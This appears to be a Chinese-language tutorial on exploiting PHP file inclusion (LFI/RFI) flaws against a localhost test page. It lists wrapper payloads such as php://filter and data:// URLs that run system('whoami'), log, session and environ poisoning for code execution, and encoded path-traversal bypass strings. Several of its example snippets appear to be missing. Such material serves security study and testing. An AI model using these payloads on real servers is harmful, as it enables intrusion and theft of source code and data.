基本概念
相关函数
php中引发文件包含漏洞的函数通常是以下四个函数:
- include()
- include_once()
- require()
- require_once()
include()
包含如果出错,如文件不存在,提出警告然后继续执行。
require()
包含文件出错,直接退出。
require_once()
和 include_once()
与require()
和include()
功能相似,只是为了防止重复包含。
当使用这几个函数包含文件时,不管文件是什么类型,都会被解析成php。
场景
- 具有相关的文件包含函数。
- 文件包含函数中存在变量,比如
include $file
。 - 攻击者可以控制变量,比如
$file = $_GET[file]
。
分类
LFI(本地文件包含)
能够打开并包含本地文件的漏洞。
RFI(远程文件包含)
能够包含远程服务器的文件并执行,危害性很,但是需要利用条件。
- allow_url_fopen = On
- allow_url_include = On
注:
当包含远程文件也是php时,php文件会在远程服务器执行。
在php.ini
中,allow_url_fopen
默认为On
而allow_url_include
在php5.2后默认为Off
。
包含姿势
测试代码:
- allow_url_fopen = On
- allow_url_include = Off
PHP伪协议
php://input
利用条件:
- allow_url_include = On
- 对allow_url_fopen不做要求。
姿势:
php://filter
利用条件:
无特别要求。
姿势:http://localhost/test/FileInclude/index.php?file=php://filter/read=convert.base64-encode/resource=info.txt
可以读取base64加密后的文件源码。
注:
少了read
关键字。http://localhost/test/FileInclude/index.php?file=php://filter/convert.base64-encode/resource=info.txt
phar://
利用条件:
- php > 5.3.0
姿势:
假如有个zip压缩包,其中的文件为info.txt
相对路径:
当然也可以使用绝对路径。
zip://
利用条件:
- php >= 5.3.0
姿势:
与phar相同。
使用zip协议,需要指定绝对路径。同时将#
编码为%23
。
如果时相对路径,那么包含失败
data:URL schema
利用条件:
- php >= 5.2
- allow_url_fopen = On
- allow_url_include = On
姿势一:http://localhost/test/FileInclude/index.php?file=data://text/plain,<?php phpinfo();?>
执行系统命令:http://localhost/test/FileInclude/index.php?file=data://text/plain,<?php system('whoami');?>
姿势二:http://localhost/test/FileInclude/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
PD9waHAgcGhwaW5mbygpOz8+
的base64解码为'<?php phpinfo();?>
,而+
的url编码为%2b
。
执行系统命令:http://localhost/test/FileInclude/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64
解码为:<?php system('whoami');?>
包含session
利用条件:
- session文件路径已知,且其中部分内容可控。
姿势:
php的session文件保存路径可以在phpinfo的session.save_path看到。
常见的php_session存放位置:
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session文件的命名格式为sess_[PHPSESSID]。PHPSESSID
可以在发送请求的cookie中查到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
参考文章:
包含日志
访问日志
利用条件:
- 知道服务器日志的存储路径,且日志文件可读。
姿势:
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
包含日志后执行:
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
SSH log
利用条件:
- 知道ssh-log的位置且可读。默认为
/var/log/auth.log
姿势:
用ssh远程连接,密码无所谓:
然后就可以写入php代码:
利用:
包含environ
利用条件:
- php以cgi的方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
姿势:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
参考:
包含fd
与包含environ类似。
参考:
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。参考:LFI WITH PHPINFO() ASSISTANCE
类似利用临时文件的存在,竞争时间去包含的,参考:XMAN夏令营-2017-babyweb-writeup
包含上传文件
利用条件:
- 运乎之妙,存乎一心。知道上传文件在哪,叫啥。
姿势:
配合上传漏洞。
其他
一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生相应的文件,但这就需要具体情况具体分析咯。这里就不展开了。
绕过姿势
接下来聊聊绕过姿势。平常碰到的情况肯定不会是简简单单的include $_GET[‘file’];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:
指定前缀
测试代码:
目录遍历
测试代码:
可以使用../
进行目录遍历:
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。
- 利用url编码:
- ../
- ..%2f
- %2e%2e%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
- ../
- 二次编码,服务器有可能解码一次
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
- ../
- 容器/服务器的编码方式
- ../
- ..%c0%af
- 注:
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal
- ..%c0%af
- ..\
- ..%c1%9c
- ../
指定后缀
URL
url格式:protocol :// hostname[:port] / path / [;parameters][?query]#fragment
姿势一: